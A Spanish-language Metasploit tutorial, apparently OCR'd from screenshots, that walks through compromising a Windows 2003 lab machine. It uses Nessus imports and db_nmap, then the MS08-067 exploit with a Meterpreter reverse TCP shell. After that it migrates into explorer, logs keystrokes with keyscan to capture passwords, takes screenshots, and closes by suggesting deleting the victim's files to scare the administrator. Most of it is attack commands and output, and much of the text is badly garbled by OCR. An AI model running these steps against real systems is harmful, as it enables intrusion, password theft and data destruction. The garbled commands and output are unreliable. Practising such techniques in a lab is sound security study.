MetaSploit, tomar control de equipos remotos

MetaSploit es una suite o conjunto de programas en realidad. Esta disefiada para explotar las vulnerabilidades de
los equipos Y es sin duda el programa mas usado por los mejores hackers del mundo. Dentro de MetaSploit,
disponemos de multitud de herramientas y programas para ejecutar en las diferentes vulnerabilidades de cada
equipo, a cada una de estas aplicaciones se le llama sploit.

Primero vamos a arrancar nuestra Kali Linux y le configuramos la red con una IP estatica dentro del rango de red
de la victima con sudo nano /etc/networw/interfaces.

GHU nano 2.0.7 File: rsetcsnetuorksinterfaces

This file describes the network interfaces available on your =systenm
and how to activate them. For more information, see interfaces(5).

The loopback network interface
auto lo
iface lo inet loopback

The primary network interface
auto etho
iface etho 3
zs 192.168.:

[ Hrote 14 lines 1]

sfadmin@metasploitable:™5 _
@ o o= (& (¥]) CTRL DERECHA

Cada vez que hagamos modificaciones de red, debemaos reiniciarla. Si hacemos un ifconfig y sigue sin asignarnos
la IP que le hemos puesto, reiniciamos Kali.

sfadminBmetasploitable:™5 sudo setcr/init.dsnetworking restart
#» Reconfiguring network interfaces...

wsfadnin@metasploitable: ™S _

Ahora necesitaremos los logs de algun programa de deteccién de vulnerabilidades como el Nessus o el Openvas
que hayamos usado anteriormente. Existe una guia sencilla de Nesus donde viene como obtenerlo paso a paso.
Abrimos Metasploit en Aplicaciones, Kali Linux, Servicios del sistema, Metasploit, Community pro start.
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Aplicaciones Lugares [ 4 mié 14 de ene, 12:32

Fragramacion

@l Radio-af

community f pro start

Serncios del Sistema

Nos arrancara sin problemas.
root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda

main.

Creating metasploit database
insserv: warming: current start runlevel(s) (empty) of script “metasploit' overr
ides LSB defaults (2 3 4 5).

-

insserv: warn : current stop runlevel(s) (@ 1 2 3 4 5 6) of script "metasploit
overrides defaults (0 1 6]
Starting Metasploit rpc server: prosvc.
Starting Metasploit web server: thin.
Starting Metasploit worker: worker.
i~H

Ahora vamos a crear la consola msf o de Metasploit. Tardara un rato amplio, luego pasado unos minutos empezara
a crear las tablas.



root@kali: ~
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:imn% id 3ﬁq” for serial column "met pLL cr igin sessions.id"
/ PRIMARY KEY will C =¥ i
vy ™ for table "me
ate implicit
lumn "met
KEY will c
ntial_origin_s s pkey table “"met
NOTICE: ‘FEu E T BLE ' create implicit
_id seq" for serial column ploit_cri
NOTICE: CREATE TABLE / PRIMARY KEY will c
ﬂtial_cﬂ: key" for table "metasploit c _CC
EATE TABLE will create implicit guence tasploit _credential login
seq" for serial column “"metasploit_credential_logins.ic
HHTI+E CREATE TABLE / PRIMARY " will c implicit index "metasploit cre
ntial logins pkey" for table "metasploit ¢ tial logins”
NOTICE: CREATE TABLE will create implicit seguence "metasploit credential origi
n_crac swords_id seq" faor/seridl| column 'metasploit credential_origin_crac
s.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create impliclit index "metasploit crede
ntial_origin_cracked_passwords_pkey" for table "metasploit_credential_origin_cra
cked_passwords"
[*] The initial module cache will be built in the background, this can take
minutes.

Y finalmente sale la linea de consola.



root@kali: ~
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for table "metasploit credential origin cra

Intial origin cracked passwords pkey
|cked passwords”
Hyd]

minutes...

[Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more an/'http:/V rapid7.com/metasploit

ms f
Para ver la lista de comandos usamos la interrogacion hacia abajo.




root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda

version Show the framework and console Library version numbers

C nnect
db_disconnect Disconnect from the current database instance
db _export Export a file containing the contents of the datab

as
db import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild cache Rebuilds
db_status Show the current database status
hosts ist all Rosts in the databasa
all loot inithe database
alLl :
all services in the dat e
all vulnerabilities in the datab:
workspace
msf = 7
Una cosa importante son los Workspace o lugares de trabajo, si ejecutamos workspace, entra en nuestro entorno de
trabajo por defecto.




root@kali: ~
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Description

List all credentials in the
db connect Connect to an existing databa
db_disconnect Disconnect from the current d
db export Export a file containing the co

y o 0 o
o ~ M r+F
= iy
-+ O o
D @ (1]

u

instance
nts of the datab:

o
4]

db_import Import a scan result file (filetype will be auto-
db nmap Executes nmap and records the output automatically

db_rebuild_cache Rebuilds the databa ored module cac
db_status Show the current database status
hosts List all hosts in the database
loot i all loot in the database
notes ist all notes in the database
' all seryices in the database
all vulnerabilities
ch between database worksp

msf = workspace
* default
sf = I
Creamos otro workspace para atacar un Windows XP y vemos que se ha creado. Para ello ponemos workspace —a
WinXP.




root@kali: ~

| Archivo Editar Ver Buscar Terminal Ayuda

List all credentials in the database
db connect Connect to an existing database
db disconnect Disconnect from the current database instance
ort Export a file containing the contents of the datab
db import Import a scan result file (filetype will be auto-
db_nmap Executes nmap and records the output automatically
db rebuild cache Rebuilds the database-stored module cache
db_status Show the current datab :
hosts List all hosts in the database
loot List all loot in the database
: List all notes in the database
List all '
List all

-8 WinXP
ace: WinxpP

Creamos varios, uno por cada maquina virtual que tengamos y que queramos atacar.



root@kali: ~
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: List all services
vulns List all wvulne
workspace Switch between database workspaces

workspace
ault

workspace -a WinXP
space: WinXP
workspace

Server2003
er2003

1t

-a Debian
= Debian

WO rksp

MetaSploit
* Debian
msf =
El asterisco marca el que esta activo en este momento. Para cambiarlo se hace workspace y el nombre del
workspace al que deseamos acceder.




root@kali: ~
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db_rebuild_cache Rebuilds the database
db_status Show the current date
hosts List all hosts in the als

List all leoot in the datab:
List all notes in the datab
List all services in the dﬂ
List all uulnﬁrabllltlgb in

msf = workspace
dufau1t

s WinkP
WinXP

defaul t
WinxpP

Server2f03

= hljn

sf =

Damos un Is para ver el nombre de los archivos a importar del Nessus que salvé anteriormente. En este caso para
no complicarme los meti en el Home del root, que es desde el directorio que me arranca Metasploit.
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root@kali: ~

Archive Editar Ver Buscar Terminal Ayuda

Debian
msf > 15

[*]

kb _192.16 31.txt
Metasploit Smiéro.html

Metasploit dj99kr.csv
Metasploit .nessus
Metasploit.txt

- er2003 Tinuh

Ahora importamos el archivo del Nesus del Windows XP con el comando db_import al workspace en el que
estamos.



root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda
[Debian.nessus
[Debian wexklf.html
|Debian xwBlde.csv
[Desktop
Hackertest .mtgx

Hackertest .nessus
kb_192.168.20.31.txt
Metasploit_Smi6ro.html

Metasploit dj99kr.csv
[Metasploit .nessus

Metasploit.txt
[Server2@03 finuhn.html
[Server2003 ghzv96.csv
[Server20i3.nessus
(VBoxLinuxAdditions. run
Windows_XP_chl@dy.html
(WindowsXP .nessus
(Windows_XP_ocpobh.csv

XPSPZ2 . xml
Insf = db import WindowskP.ness

[*] Importing 'Messus XML (v2)' data
[*] Importing host 192.168.20.182
[*] Successfully imported /root/WindowsXP.nessus
msf =

Ahora entramos en el workspace del Server2003 y vemos con el comando hosts los equipos que descubrimos con
el Nessus.

root@kali: =

Ver Bwuscar Terminal Ayuda

Hackertest .mtgx
Hackertest .nessus

kb 192.168.26.31.txt
Metasploit SmiGro.html
Metasploit dj99kr.csv
Metasploit .nessus
Metasploit .txt
Serverf@3 _finuhn.html
Server2003_ghzv96.csv
Server2003.nessus
VBoxLinuxAdditions. run
Windows XP_chlBdy.html
indowsXF .nassus
indows XP _ocpoBh.csv
WPSPZ2 . xml

Archivo Editar

address mac name a5_hame as_flavor
s sp purpose info comments

192.168.20.31 GB:80:27:13:E7:2E 192.168.20.31 Microsoft Windows 2003
P2 server



http://www.cursodehackers.com/nessus.html

Ahora usamos el comando db _nmap —v —A y la IP del equipo para ver los puertos abiertos de la victima.
root@kali: ~

Archive Editar Ver Buscar Terminal Ayuda

e —— |

ort

n port

n port

arad opan po rt
rared open port

otal ports)

scan at @

T
[u
[*
[
[*
[
[
[*
[
[
[*
|
[*
|
|

Los comando del db_nmap, son los mismos que con el programa Nmap. En MetaSploit para obtener ayuda de un
comando escribimos help comando (ejemplo: help workspace), pero en los externos como es el db_nmap, usaremos
comando -h (ejemplo: db_nmap —h).



root@kali: ~

Terminal Avyuda

6.47 ( http://mmap.org ]
! Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
: Can pass hostnames, IP addresses, networks, etc.
: Ex: scanme.mmap.org, microsoft.com/24, 192.168.0.1; 10.6.0-255.1-254
-iL =inputfilename=: Input from list of hosts/networks
-iR =num hosts=: Choose random targats
--gxclude =hostl[,host2]([,host3],...=: Exclude hosts/networks
--gxcludefile =exclude file>: Exclude 1ist from file
: HOST DISCOVERY :
-sL: List Scan - simply list targets to scan
sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PASPUPY [portlist]: TCP SYNSACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping
-nS-R: Never do DNS resolution/Always resolve [default: sometimes]
--dns-sarvars <servl[,servZ];vo. =0 Specify rcustom (BNS sarvers
--system-dns;: Use 0S's DNS resolven
--traceroute: Trace hop path-to'edch-host
: SCAMN TECHNIQUES:
-s5/sT/sh/sW/sM: TCP SYN/Connect () /ACK /Window/Maimon scans
-sl0: UDP Scan
-sN/sF/sK: TCP Null, FIN, and Xmas scans
--scanflags =flags=>: Customize TCP scan flags
-5I =zombie host[:probeport]l=>: Idle scan
-s¥/sZ: SCTP INIT/COQKIE-ECHO scans

El comando services nos muestra los servicios abiertos de la victima.
root@kali: ~

Terminal Ayuda

proto  name state info

kaerberos-sec s Windows 2003 Kerberos server time: 2815-01-15 @8:

ntp open

ms rpc open Mic rosoft Windows RPC

netbios-ns open

netbios-ssn open

ldap opean

microsoft-ds open Microsoft Windows 20032 or 20082 microsoft-ds
kpasswdS opean

ncacn http open Mic rosoft-Windows-BPC over HTTP 1.8
tcpwrapped open

msrpc opean Mic resaft-Windows-RPC

ncacn http open Microsoft Windows RPC over HTTP 1.8
dce-rpc open

msrpc opan Mic rosoft Windows RPC

Ldap opan

tcpwrapped open




El comando vulns nos mostrara las vulnerabilidades del archivo obtenido por el Nessus, el Openvas, etc.
root@kali: ~

Editar Ver E Termianal

1:34:53 UTC Vuln: host=192.168.20.31 name=Nessus Scan Information

Time: 2015-01-14 :34:53 UTC Vuln: host=192.168.20.31 name=Common Platform Enumeration (CPE)
s=N35-45590
Time: 2015-01-14 12:34:53 UTC Vuln: host=192.168.20.31 name=Device Type refs=h55-54615
Time: 2015-G1-14 12:34:54 UTC Vuln: host=192.168.20.31 name=MS08-067: Microsoft Windows Server
Service Crafted RPC Reguest Handling Remote Code Execution (958644) ([uncredentialed check] refs=C
VE-2008-4250 ,BID-31874 ,05VDR-49243 , MSFT -MSAB-067 , IAVA-2008-A-0081 , CWE-94, MSF-MS08 -067 Mic rosoft Se
rvar Service Relative Path Stack Corruption,NSS-34477
[*] Time: 2015-01-14 12:34:54 UTC Vuln: host=192.168,20.31 name=05 Identification refs=NSS-11536
Time: 2015-01-14 12:34:54 UTC Vuln: host=192.168.20.31 name=Traceroute Information refs=N55-10

*1 Time: 2015-01-14 12:34:54 UTC Vuln: host=192,168.20.31 name=Ethernet Card Manufacturer Detecti
on refs=NSS5-35716
[*] Time: 2015-81-14 12:34:54 UTC Vuln: host=192.168.20.31 name=LDAP Crafted Search Reguest Server
Information Disclosure refs=sNSS5-25701
[*] Time: 2015-01-14 12:34:54 UTC Vulmmyhost=192 16820 :31-name=tDAR-Crafted Search Request Server
Information Disclosure refs=NS5-25701
T  2015-01-14 12:34:54 UTC Vulns'‘host=102,16820" name=LDAP-Server Detection refs=N55-208

1 2015-01-14 12:34:54 UTC Vuln: host=192.1 .20.31 name=LDAP Server Detection refs=NS55-208

g: 2015-01-14 12:34:54 UTC Vuln: host=192.168.20.31 name=Service Detection refs=NSS5-22964

s 2015-01-14 12:34:55 UTC Vuln: host=192.1 .20.3]1 name=Service Detection refs=NSS5-22964

: 2015-61-14 :34:55 UTC Vuln: host=192.1 .Eﬂ. I name=Service Detection refs=N55-22964
2015-061-14 12:34:55 C Wuln: host=192,168.20.31 name=Network Time Protocol (NTP) Server

El comando search nos ayuda a buscar mddulos del MSF (MetaspIOIt) Por ejemplo, si necesitamos un modulo

para atacar una vulnerabilidad DNS, ponemos search dns y vemos de qué modulos disponemos y su ubicacion.
root@kali: ~

Buscar Terminal Avyuda

Disclosure Date Rank Description

auxiliary/dos/mdns/avahl_portzero 2008-11-14 nﬂrm&l Avahi Source
Port @ DoS

auxiliary/dos/windows/L1lmnr/msll 838 dnsapi 2011-84-12 normal  Microseft Win
dows DNSAPI.d11 LLMNR Buffer Underrun DoS

auxiliary/fuzzers/dns/dns_fuzzer normal NS and DNSSE
C Fuzzer &

auxiliary/gather/dns_bruteforce normal W5 Brutefoce
Enumeration

auxiliary/gather/dns_cache_scraper normal WS Mon-Recur
sive Record Scraper

auxiliary/gather/dns_info normal W5 Basic Inf
ormation Enumeration

auxiliary/gather/dns_reverse lookup normal NS Reverse |
ookup Enumeration i T

auxiliary/gather/dns_srv_enum normal N5 Common Se
rvice Record Enumeration

auxiliary/gather/enum_dns normal N5 Record Sc
anner and Enumerator

auxiliary/scanner/dns/dns_amp normal NS Amplifica
tion Scanner -
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Uno de los exploits mostrados es el exploit/windows7dcerpc7ms07_029 msdns_zonename que explota una
vulnerabilidad del DNS de los Windows 2000 y 2003 servers mediante el protocolo RPC en los controladores de
dominio. Este exploit realiza un atague DoS o de denegacion de servicio que permite tumbar al servidor.

En 2003 Server tenemos una vulnerabilidad grave Ilamada ms08, la buscamos.

root@kali; =

Archivo Editar Ver Buscar Terminal Ayuda

UTC Yuln: host=1

host=1

normal Windows Medi
normal

narmal

ition

Ahora ejecutamos ese exploit que esta en exploit/windows/smb/ms08_067_netapi. Para ello usamos el comando
use.



root@kali: ~
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ction refs=N55-11011

[*] Time: 2015-81-14 12:34:5%8 UTC VYuln: host=192.168.20.3]1 name=Microsocft Windows SMB
ction refs=NS5-11011

nsf = search ms08

Matching Modules

Disclosure Date Rank

auxiliary/admin/ms/msG8 059 hisZ006 2008-10-14 normal
st Integration Server 2006 Command Execution Vulnerability
axploit/windows/browser/ms08 041 snapshotviewer 2008-07-07 excallant
wer for Microsoft Access ActiveX Control Arbitrary File Download
exploit/windows/browser/ms08 053 mediaencoder 2008-09-09 normal
a Encoder 9 wmex.dll ActiveX Buffer Overflow
exploit/windows/browser/ms@8_070 visual studio_msmask 2008-08-13 normal
sual Studic Mdmask32.ocx ActiveX Buffer Overflow
exploit/windows/browser/ms@E_078_xmicorruption 2008 ~12-67 normal
rosoft Internet Explorer Data Binding Memory 'Corfuption
exploit/windows/smb/ms@8 067 netapi 2008-10+28 great
rosoft Server Service Relative Path Stack Corruption
axploit /windows/smb/smb_relay 20681-03-31 excallent
rosoft Windows SMB Relay Code Execution

la IP de la victima.

Archivo Editar

ction refs=NS55-11011
msf > search ms@B

Matching Modules

Mame Disclosure Date Rank

auxiliary/admin/ms/msG8 059 his2ZE06 2008-16-14 normal

Integration Server 2006 Command Execution Vulnerability

exploit/windows/browser/msf8 041 snapshotviewer 2008-07-67 excellent
war for Microsoft Access ActiveX Control Arbitrary File Download

axploit/windows/browser/msf8_053 mediaencoder 2008-09-09 normal
a Encoder 9 wmex.dll ActiveX Buffer Overflow

exploit/windows/browser/msBE G070 wvisual studic msmask 2008-88-13 normal
sual Studio Mdmask32.ocx ActiveX Buffer Overflow

exploit/windows/browser/ms@8_078 xml_corruption 2008-12-67 normal
rosoft Internet Explorer Data Binding Memory Corruption

exploit/windows/smb/msG8 067 netapi 2008=16+28 great
rosoft Server Service Relative Path Stack Cornruption

explolit/windows/smb/smb_relay 2001-03-31 excellent
rosoft Windows SME Relay Code Execution

Service Dete

Description

Snapshot Vie
Windows Medi
Microseft Vi
MSQE-B78 Mic
M58 -267 Mic

MSO2-068 Mic

Description
Microsoft Ho
Snapshot Vie
Windows Medi
Microsoft Vi
MSO8-078 Mic
MSO8-067 Mic

MSO8-068 Mic




root@kali: ~
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MName Current Setting Reguired QDescription

RHOST 192.168.20.31 1 The target address
RPORT 445 [ Set the SMBE service port
SHMEPIPE BROWSER =15 The pipe name to use (BROWSER, SRVSVC)

Paylead information:
Space: 400
Avoid: B characters

Description:
This module exploits a parsing flaw in the path canonicalization
code of NetAPI3Z.d\1 through the Server Service. This module is
capable of bypassing NX on some operating systems and service packs.
The correct target must be used to prevent the Server Service (along
with a dozen others 1n the same process) from c¢rashing. Windows XP
targets seem to handle multiple successful exploitation events, but
20083 targets will often crash or hang on subsequent attempts. This
is just the first version of this modutes;—fTull support- for X bypass
on 2003, along with other platforms, is still inm development .

Refarences:
http://cvedatails.comfcve/2008-4250/
http:/www.osvdb.org/49243
http://technet .microsoft .com/en-us/security/bulletin/M568-067

http:/fwww . rapid? . com/vulndb/lookup/decerpe -ms -netapi -netpathcanonicalize-dos

Entramos en nuestro host y vemos que payloads podemos usar. Para ello entramos con set LHOST y nuestra IP, y
luego mostramos los payloads con show payloads.

root@kali: ~

Archivoe Editar Ver Buscar Terminal

Compatible Payloads

MName Rank

generic/custom normal Custom Payload
generic/debug trap normal Generic =86 Debug Tra

generic/shell_bind tcp normal Generic Command Shall
Bind TCP Inline

generic/shell reverse tcp normal.  Generic Command Shell
Reverse TCP Inline E

generic/tight_loop normal Generic x86 Tight Loo

windows/dllinject/bind ipv6 tcp normal Reflective DLL Inject
ion, Bind TCP Stager (IPvE)

windows/dllinject/bind nonx tcp normal Reflective DLL Inject
ion, Bind TCP Stager (No NX or Win7)

windows/dllinject/bind_tcp normal Reflective DLL Inject
ion, Bind TCP Stager

windows/dllinject/reverse_hop _http normal Reflective OLL Inject
ion, Reverse Hop HTTP Stager

windows/dllinject/reverse_http normal Reflective DLL Inject




Cargamos el payload meterpreter para controlar la shell del Server 2003. Con esto lo que hacemos es ejecutar una
consola de comandos interna de la victima para poder controlarla.

root@kali: ~

Archive Editar Ver Buscar Terminal Ayuda

y Injection), Bind TCP Stager (IPvE)
windows/vncinject/bind_nonx_tcp normal WVMNC Server (Reflectiv
Injection), Bind TCP STaoer TNo NX or Win7)
windows/vncinject/bind tcp normal WNC - [Reflectiv
Injection}, Bind TCP Stager
windows/vncinject/reverse hop http normal  WHC ar (Reflectiv
: Injection), Reverse Hop HTTP Stager
windows/vncinject/reverse http normal | war [Reflectiv
2 Injection), Reverse HTTP anger
windows/vncinject/reverse_ipve_tcp normal WHC Server [(Reflectiv
Injection), Revarse TCP ELaqer [ IPvG)
windows/vncinject/reverse_nonx_tcp normal WNC Server (Reflectiv
Injection), Rewarse TCP Stager (No NX or Win?)
windows/vncinject/reverse ord tep normal Sarver (Reflectiv
Injection), Reverse Ordinal TCP Stager (No WX or Win/)
windows/vncilnject/reverse tcp normal WNC Server (Reflectiv
2 Injection), Reverse TCP Etgger
windows/vncinject/reverse tcp allports normal WHNC Servar (Reflectiv
Injection), Reverse All-Port TCP Stagen
windows/vncinject/reverse tcp dns normal WVNC Server (Reflectiwv
Injection), Rewarse TCP Stager (DNS)
windows/vncinject/reverse tcp rcd narmal  WNC ver (Reflectiv
2 Injection), Reverse TCP Stager (RC4 Stage Encryption)

msf exﬂloﬁt[

> windows/meterpr
msf exploit(msi i

Ejecutamos ya el exploit meterpreter simplemente escribiendo meter
root@kali: ~
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Injection), Reverse TCP Stager [(No NX or Win7)

windows/vncinject/reverse_ord_tcp normal V| Server [(Reflectiwv

Injection), Reverse Ordinal TCP Stager (No NX or Win7)

windows/vncinject/reverse_tcp normal WMC Server (Reflectiw
a Injection), Reverse TCP Stager

windows/vncinject/reverse_tcp_allports normal WYWC Server (Reflectiv
2 Injection), Reverse ALL-Port TCP Stager

windows/vncinject/reverse tcp dns normal VHNC Server (Reflectiw

Injection), Reverse TCP Stager (DNS)

windows/wncinject/reverse tcp rcd normal ¥ Server (Reflectiw

Injection), Reverse TCP Stager (RC4 Stage Encryption)

mef exploit| )i
msf explolit( ) = set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD == ¢1n1ﬁanin¢ Prﬂrﬂr;r&ua|ﬁg tep

| Started reverse handler on 192.168.20.21:4444
| Automatically detecting the target:y
[*] Fingerprint: Windows 2003 R2 - $€*hlnﬁ Pack| 2 - lang:UnKnawn
[*] We could not detect the language pack!—defaulting-to-Brglish
*] Selected Target: Windows 2003 5P2 English [NX]
| Attempting to trigger the wvulnerability...
] Sending stage (769536 bytes) to 192.168.20.31
*] Meterpreter session 1 opened (192.168.20.21:4444 -= 192.168.20.31:3193) at 2615-01-1

+ﬁIOO

meterpreter = |j




Con esto ya estamos dentro del Windows 2003 Server. Podemos verlo con sysinfo.

Examine y ejecute aplicaciones instaladas root@kali: ~
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normal Vb

normal  WHC
ge Encryption)

0AD windows/meterpreter/ravarse tcp

erver (Build 3

Con ps vemos que procesos esta ejecutando el Windows 2003. Nos muestra el ejecutable del proceso y el PID o
identificador numérico del proceso.



Archiva Editar

Zsvchost .exe
1024 252
Yot fmon.exe
1172 380
“Wspoolsv.exe
1206 3806

\msdtc .exso
1276 386
“WDfssve .exe
1328 386
‘svychost .exe
1392 380
Zismsarv.exe
1404 3806

Wntfrs.exe
1484 380
ZWsvchost .exe
1652 380
\svchost .exe
2128 632
Wwhemiwmliprvs
2196 892
Wwuauclt .exe
3168 332
“logon.scr

Ver Buscar Terminal

ctfmorn.axe

Spoolsy.exe

msdtc .exe

dfssvc .exe

svchost .exe

ismserv.exe

ntfrs.axe

SYChost .exe

sychost .exe

wmiprvse.exa

g .axa

wuauclt .exa

logon.scr

rootf@kali: =

CURSOSEGURIDADMAdministrator

WNT AUTHORITYA\SYSTEM

NT AUTHORITY\WETWORK SERVICE

NT AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITYYSYSTEM
AUTHORITY\SYSTEM
AUTHORITYA\LOCAL SERVICE
AUTHORITYA\SYSTEM

NT AUTHORLTYNSYSTEM

CURSOSEGURIDADMAdministrator

CURSOSEGURIDADMVAministrator

SWINDOWS \ system32
s AWINDOWS  system32
DAWINDOWS\ system32
SWINDOWS \system3zZ
C:AWINDOWS \System32
DAWINDOWSH System32
C:AWINDOWS \ system32
SWINDOWS \system3z
OWINDOWS W\ System32
> AWWINDOWS\ system3z2
SWINDOWS \ system32

CAWINDOWS \System32

Hay un proceso que es el explorer, lo buscamos y miramos que nimero de proceso tiene o PID, en este caso el
252. El explorer es el proceso que en los sistemas Windows muestra la interface grafica. Un claro ejemplo es
cuando en el escritorio no nos aparecen los iconos, esto es debido a un fallo de este proceso.

Archivo Editar

S5.8x8

260

Viar Buscar Terminal

Nama Arch

[System Process)
System
svchost .exa

SMsSs.axe

CSr55.exea

root@kali: =

NT AUTHORITYA\SYSTEM
NT AUTHORITY\SYSTEM

ISEGURIDADMAdministrator

AUTHORITY\SYSTEM

AUTHORITY\SYSTEM

CAWINDOWS\System3Z

WSystomRoot \System3

VPPV OAWINDOWS\syst

em3Z\CcSrss.exe

332 260 winlogon.exe
em32iwinlogon.exe

3B@ 332 sarvices.exe
‘\services.exe

392 332
YWisass . exe

592 380 VBoxService.exe
YWBoxService . exe

0832 380 svchost .exe
\svchost .exa
768 380
Zsvchost .axa
B24 380
Zsvchost ,exe

AUTHORITYA\SYSTEM WA AWINDOWS\ syst

AUTHORITY\SYSTEM COWINDOWS \system32

AU THOREFYSYSTEMN C:AWINDOWS\system32

ALTHORT TY\SYSTEM CAWINDOWS \system32

AUTHORITY\SYSTEM CAWINDOWS \system32

svchost . a AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32

sSvchost . exe AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32




Ahora redirigimos ese proceso hacia nosotros con el comando migrate para controlar su explorer (nada que ver con
Internet Explorer). Escribimos migrate PID (en mi caso 252).

roat@kali: ~

Archiva Editar Ver Buscar Terminal Ayuda
AUTHORIT S C:\WIN

AUTHORITY W MNETWORK \WINDOWS\sySt
AUTHORITY C =\ WIND(

sychost .exe %86 & T AUTHORITY ; C s \WIND(

ismsery.exe »BE i NT AUTHORIT

ntfrs.exs =B 2 NT AUTHORITY

svchost .exe xBE 0 NT AUTHORITY CAL SERVICE

vchost .exe %8B @ T AUTHORITY STEM

wmip s 8 3 NT AUTHORIT STEM
EGURIDADNAdministrator

ADNAdmindst rator

from B9Z to e
completed successfully.

victima. Lo normal es que muestren todas las pulsaciones del teclado, inclutendo contrasefias. Muchos Keyloggers
nos permiten configurarlos para que cada cierto tiempo nos mande a un correo electronico que le indiqguemos toda
esa informacion, incluso con pantallas de lo que la victima esta viendo. Vamos a usar el keyscan que es muy
sencillo, ponemos keyscan_start.



roct@kali: ~

Archivo Editar Ver Buscar Terminal
AUTHORITYM (ORK. SERVICE

msd
AUTHORIT®

svchost .exe x8 & T AUTHORITYAWSYSTE

ismserv.exe @ T AUTHORITY EM C:\WIND

ntfrs. pa=ia & T AUTHORITY™ - DAWINDUWS
AUTHORITYA\LOCAL SERVIC C:WWIND

svchost .ex xB6 0 NT AUTHORITS E S\WINDOS

wmipr ) @ NT AUTHORITY y C i WWIND

CURS GURIDADMAdministrator C:AWWIND

CLUR GURIDADNAdminist rator

rt
ilffer...

Para ver que realmente nos esta funcionando, vamos a hacer también de victima y abrimos el Windows 2003 y
escribimos algo en el notepad, lo que sea.



N Fr| y— [ e ot =i i | A " A |

Server 2003 [Corriendo] - Oracle VM VirtualBox - O

=4 P untitled - Notepad
I c Ffe Edt Format WYew Help

Hola amigos.

Comparkida

dstart| | (G} @ || untitled - Notepad | @@ 39

Vamos al Metasploit de nuevo y ecribimos keyscan_dump para que muestre los resultados hasta ese momento y
vemos que muestra lo que se puso en 2003 server.



root@kali: ~
Archive Editar Ver Buscar Terminal Ayuda
NT AUTHORITY\SYSTEM C:\WINDO
AUTHORIT 3 TEM C:\WINDO
ntfrs.exe X85 3 NT AUTHORITY™N T E C:\WINDO
svchost .ex ! NT AUTHORITYMLOCAL SERVICE C:WWINDOWS",
AUTHORIT! EM C:\WINDO
MT AUTHORIT? :TEM C 2 \WIMNDOWS
CURS JADMAdministrator  C:A\WINDO

CURSOSEGURIDADY Administ rator

*1 Migratin
Migrat
meterpretor : start
Starting the sniffer...
ar
|:,|F_:IT|

Ahora veremos todo cuanto escriba por el teclado nuestra victima.
En el server hacemos lo que sea, como escribir algo en un block de notas.



i Server 2003 [Corriendo] - Oracle VM VirtualBox - 0O

B untitled - Motepad
Eile Edt Formst View Help
jeje]el

istart| | (3 @ [ untitied-Notepad | @ = sz
Ahora vamos a sacar un pantallazo de lo que esta haciendo. Para ello usamos el comando screenshot que se
encarga de realizar capturas de pantalla.



root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda

Pack 2 - lang:l

4444 -= 192.168.20.31: at 2015-81-15 12:

E root@kali: -

Esto nos da el directorio donde metera nuestro pantallazo y el nombre de jpeg. Accedemos desde Kali a ese
archivo y abrimos el jpeg. Vemos que sale exactamente la misma pantalla que hay abierta en el Windows 2003.



Archive Editar Ver Ir Marcadores Ayuda

MfNyYVbc.jpeg S - o | Q Buscar

Imagen Editar Ver Ir Ayuda

wilde.csv
Fropiedades de la imagen v

General

Mombre:
MFfNyYVbe. jpe

oit.nessus

Anchura:

imagen JPEG

Tamano del archivo: |
251 kB ix Additions,

Carpeta: - un

800 = 600 pixeles 25,1 kB

o . i . do (25,1 kB)
Ahora en el meterpreter usamos los comandos basicos de linux para movernos dentro del sistema de la victima.
Por ejemplo pwd para ver el directorio del Windows 2003 en el que estamos y Is para listarlo y que nos muestre el

contenido.



root@kali: ~

Archiva Editar Ver Buscar Terminal Ayuda

trokes. ..

Mame

+
e

fwinnt$

= rootidkalc -
Ya podemos entrar en su sistema para borrarle archivos del sistema o de datos y matar de un susto al
administrador. Metasploit es mucho méas amplio, iré ampliando cosillas cuando tenga tiempo, pero antes quiero
sacar la guia de Armitage, es una aplicacion grafica para Metasploit que os resultard mas sencilla de usar.




